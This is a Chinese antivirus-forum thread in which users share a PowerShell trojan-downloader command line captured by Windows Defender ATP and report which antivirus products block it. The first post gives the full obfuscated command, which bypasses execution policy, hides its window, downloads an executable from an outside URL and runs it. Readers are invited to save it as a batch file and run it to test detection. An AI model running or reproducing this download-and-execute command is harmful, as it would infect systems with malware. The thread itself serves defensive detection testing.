楼主: 540923555
收起左侧

[病毒样本] PowerShell/TrojanDownloader.

[复制链接]
540923555
发表于 2017-3-22 08:37:10 | 显示全部楼层 |阅读模式
又一个WDATP抓到的PowerShell命令行。。。。



我就不上传附件了,自己把以下命令行做成批处理吧
pOWErsHell.ExE -exEcUTIonPOLICy BYpAsS -nOprOFile -winDOWStyLE HiDden (NEW-objeCt SYSTeM.Net.weBCLIEnT).DOWNloaDfIlE('http://b.reich.io/dvltdc.exe','C:\Users\办票间-1-PC\AppData\Roaming.EXE');sTArt-PrOCeSS 'C:\Users\办票间-1-PC\AppData\Roaming.Exe'

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
pal家族
发表于 2017-3-22 09:27:58 | 显示全部楼层
那个网址斯基拉黑了

运行bat 卡巴主防杀之

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
心醉咖啡
发表于 2017-3-22 10:23:06 | 显示全部楼层
管家扫描miss
540923555
 楼主| 发表于 2017-3-22 10:56:52 | 显示全部楼层
本帖最后由 540923555 于 2017-3-22 10:58 编辑


双击一定干掉,这WDATP记录就相当于是双击干掉的日志,源文件貌似是个宏病毒,使用powershell命令下载木马
欧阳宣
头像被屏蔽
发表于 2017-3-22 15:32:48 | 显示全部楼层
咖啡拉黑网址
qwe12301
发表于 2017-3-23 10:38:39 | 显示全部楼层
有没有宏病毒样本本身
天蓝色的忧伤
发表于 2017-3-23 10:56:12 | 显示全部楼层

宣大跳到咖啡了?
Sailer.X 该用户已被删除
发表于 2017-3-23 11:01:19 | 显示全部楼层
保存为bat,双击,Zemana隔离
540923555
 楼主| 发表于 2017-3-23 13:23:11 | 显示全部楼层
qwe12301 发表于 2017-3-23 10:38
有没有宏病毒样本本身

没有,这个是打开文档时候,由于指令可疑,WD自动拦截记录的,样本不是在我的电脑
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 18:09 , Processed in 0.117959 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表